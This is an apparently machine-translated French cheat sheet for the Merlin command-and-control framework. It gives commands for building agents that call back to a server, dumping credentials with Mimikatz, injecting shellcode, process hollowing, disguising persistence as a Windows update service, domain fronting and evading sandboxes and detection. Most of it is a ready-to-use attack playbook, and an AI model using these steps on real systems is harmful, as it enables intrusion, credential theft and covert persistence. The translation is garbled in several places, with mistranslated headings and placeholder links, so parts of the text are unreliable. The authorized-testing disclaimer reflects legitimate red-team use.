Aller au contenu

Merlin C2 Cadre Feuille de chaleur

=" Copier toutes les commandes Générer PDF

Aperçu général

Merlin est un serveur de commande et de contrôle HTTP/2 et un agent multiplateforme écrit en Golang. Il met à profit HTTP/2 pour la communication, fournissant des capacités modernes d'évasion de protocole avec des jeux de données intégrés et le chiffrement.

C'est pas vrai. Attention : Cet outil est destiné aux tests de pénétration autorisés et aux exercices d'équipe rouge seulement. Assurez-vous d'avoir une autorisation appropriée avant d'utiliser dans tout environnement.

Installation

Binaires précompilés

# Download latest release for Linux
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z

# Download latest release for Windows
# Download merlinServer-Windows-x64.7z from GitHub releases

# Download latest release for macOS
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Darwin-x64.7z
7z x merlinServer-Darwin-x64.7z

Construire à partir de la source

# Install Go (version 1.19+)
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
make build-server
make build-agent
```_

### Installation Docker
```bash
# Pull official Docker image
docker pull ne0nd0g/merlin

# Run Merlin server in Docker
docker run -it -p 443:443 ne0nd0g/merlin
```_

## Utilisation de base

### Démarrer Merlin Server
```bash
# Start server with default settings
./merlinServer-Linux-x64

# Start server with custom interface
./merlinServer-Linux-x64 -i 0.0.0.0

# Start server with custom port
./merlinServer-Linux-x64 -p 8443

# Start server with custom certificate
./merlinServer-Linux-x64 -crt /path/to/cert.crt -key /path/to/key.key

Génération d'agents

# Generate Windows agent
make build-agent-windows

# Generate Linux agent
make build-agent-linux

# Generate macOS agent
make build-agent-darwin

Référence de commande

Gestion des serveurs

Command Description
help Display help menu
version Show version information
listeners List active listeners
agents List connected agents
sessions Show active sessions
exit Exit Merlin server

Gestion de l'auditeur

Command Description
listeners List all listeners
use listener <type> Select listener type
set <option> <value> Set listener option
start Start the listener
stop Stop the listener
info Show listener information

Interaction des agents

Command Description
interact <agent-id> Interact with agent
shell <command> Execute shell command
upload <local> <remote> Upload file to agent
download <remote> <local> Download file from agent
kill Kill the agent
back Return to main menu

Configuration de l'auditeur

HTTP/2 Auditeur

# Use HTTP/2 listener
use listener http2

# Configure listener options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key

# Start listener
start

HTTP/3 Auditeur (QUIC)

# Use HTTP/3 listener
use listener http3

# Configure QUIC options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key

# Start listener
start

TCP Auditeur

# Use TCP listener
use listener tcp

# Configure TCP options
set Interface 0.0.0.0
set Port 4444

# Start listener
start

SMB Auditeur

# Use SMB listener (Windows)
use listener smb

# Configure SMB options
set Interface 0.0.0.0
set Port 445

# Start listener
start

Configuration de l'agent

Agent HTTP/2

# Build HTTP/2 agent
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443" -o agent.exe cmd/merlinagent/main.go

# Build with custom options
GOOS=linux GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443 -X main.sleep=30s -X main.jitter=0.2" -o agent cmd/merlinagent/main.go

Options d'agent

# Set communication URL
-X main.url=https://server.com:443

# Set sleep interval
-X main.sleep=30s

# Set jitter percentage
-X main.jitter=0.2

# Set maximum retries
-X main.maxretry=7

# Set user agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Set proxy
-X main.proxy=http://proxy.com:8080

Commandements post-exploitation

Informations sur le système

# Get system information
sysinfo

# Get current user
whoami

# Get environment variables
env

# Get network interfaces
ifconfig

# Get running processes
ps

Opérations de fichiers

# List directory contents
ls /path/to/directory

# Change directory
cd /path/to/directory

# Create directory
mkdir /path/to/new/directory

# Remove file
rm /path/to/file

# Copy file
cp /source/file /destination/file

# Move file
mv /source/file /destination/file

Opérations réseau

# Network connections
netstat

# ARP table
arp

# Routing table
route

# DNS lookup
nslookup domain.com

# Ping host
ping 192.168.1.1

Gestion des processus

# List processes
ps

# Kill process
kill <pid>

# Start process
execute <command>

# Get process information
info <pid>

Caractéristiques avancées

Système de module

# List available modules
modules

# Use module
use module <module-name>

# Set module options
set <option> <value>

# Run module
run

# Show module info
info

Modules intégrés

# Mimikatz module
use module mimikatz
set Command sekurlsa::logonpasswords
run

# PowerShell module
use module powershell
set Command Get-Process
run

# Assembly execution
use module executeassembly
set Assembly /path/to/assembly.exe
set Arguments "arg1 arg2"
run

Exécution du code Shell

# Execute shellcode
use module shellcode
set Shellcode <base64-encoded-shellcode>
run

# Shellcode injection
use module shinject
set PID <target-pid>
set Shellcode <base64-encoded-shellcode>
run

Persistance

# Registry persistence
use module persistence
set Method registry
set Key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
set Value "Update"
set Data "C:\temp\agent.exe"
run

# Service persistence
use module service
set Name "UpdateService"
set DisplayName "Windows Update Service"
set BinaryPath "C:\temp\agent.exe"
run

Techniques d'évacuation

Obfuscation de la circulation

# Custom User-Agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Custom headers
-X main.headers="X-Custom-Header:value"

# Domain fronting
-X main.url=https://cdn.example.com
-X main.host=legitimate-site.com

Obfuscation de la charge utile

# Build with custom build tags
go build -tags="debug" -ldflags "-s -w" -o agent.exe

# Use UPX packing
upx --best agent.exe

# Custom encryption
-X main.psk=your-pre-shared-key

Anti-analyse

# VM detection
use module vmdetect
run

# Sandbox evasion
use module sleep
set Duration 60
run

# Process hollowing
use module hollow
set Target notepad.exe
set Payload <base64-encoded-payload>
run

Gestion des certificats

Générer un certificat auto-signé

# Generate certificate and key
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes

# Generate with SAN
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes -config <(
echo '[req]'
echo 'distinguished_name = req'
echo '[req]'
echo 'CN = server.com'
echo '[SAN]'
echo 'subjectAltName = DNS:server.com,DNS:*.server.com,IP:192.168.1.100'
)

Encryptons le certificat

# Install certbot
sudo apt install certbot

# Generate certificate
certbot certonly --standalone -d yourdomain.com

# Use certificate with Merlin
./merlinServer-Linux-x64 -crt /etc/letsencrypt/live/yourdomain.com/fullchain.pem -key /etc/letsencrypt/live/yourdomain.com/privkey.pem

Procédures opérationnelles

Configuration des infrastructures

# Use redirectors
# Set up nginx reverse proxy
server \\\\{
    listen 443 ssl http2;
    server_name legitimate-site.com;

    ssl_certificate /path/to/cert.crt;
    ssl_certificate_key /path/to/key.key;

    location / \\\\{
        proxy_pass https://merlin-server:443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    \\\\}
\\\\}

Opérations des équipes

# Multi-operator setup
# Use shared database or file system
# Implement proper access controls
# Use separate operator certificates

Exploitation forestière et surveillance

# Enable detailed logging
./merlinServer-Linux-x64 -debug

# Monitor connections
tail -f merlin.log

# Network monitoring
tcpdump -i any -w merlin_traffic.pcap port 443

Dépannage

Problèmes de connexion

# Check listener status
listeners

# Test connectivity
curl -k https://server.com:443

# Check certificate
openssl s_client -connect server.com:443 -servername server.com

Questions relatives aux agents

# Debug agent connection
# Build agent with debug flags
go build -ldflags "-X main.debug=true" -o agent-debug.exe

# Check agent logs
# Enable verbose output in agent

Problèmes de performance

# Adjust sleep and jitter
-X main.sleep=10s
-X main.jitter=0.1

# Optimize HTTP/2 settings
# Increase connection limits
# Use connection pooling

Problèmes de certificat

# Verify certificate
openssl x509 -in server.crt -text -noout

# Check certificate chain
openssl verify -CAfile ca.crt server.crt

# Test SSL configuration
sslscan server.com:443

Évasion de détection

Niveau réseau

  • Utiliser des certificats et des domaines légitimes
  • Mettre en œuvre la configuration HTTP/2 appropriée
  • Varier les modes de communication et le calendrier
  • Utiliser les techniques de fronting de domaine
  • Mettre en œuvre un traitement approprié des erreurs

Niveau de l'hôte

  • Utiliser des noms de processus et des chemins légitimes
  • Mettre en œuvre une détection anti-VM et bac à sable
  • Utiliser le procédé de creusement et d'injection
  • Chiffrer les charges utiles et les communications
  • Nettoyer les artefacts et les journaux

Comportement

  • Limiter l'utilisation des ressources et l'activité du réseau
  • Utiliser des agents et en-têtes d'utilisateur légitimes
  • Mettre en œuvre un sommeil approprié et des jitter
  • Évitez les appels d'API suspects
  • Utiliser des techniques de vie hors de la terre

Ressources

  • [Dépôt Merlin GitHub] (LINK_4)
  • [Document de Merlin] (LINK_4)
  • [Blogue Ne0nd0g] (LINK_4)
  • [HTTP/2 C2 Communication] (LINK_4)

*Cette feuille de triche fournit une référence complète pour l'utilisation de Merlin C2 Framework. Assurez-vous toujours d'avoir une autorisation appropriée avant d'utiliser cet outil dans n'importe quel environnement. *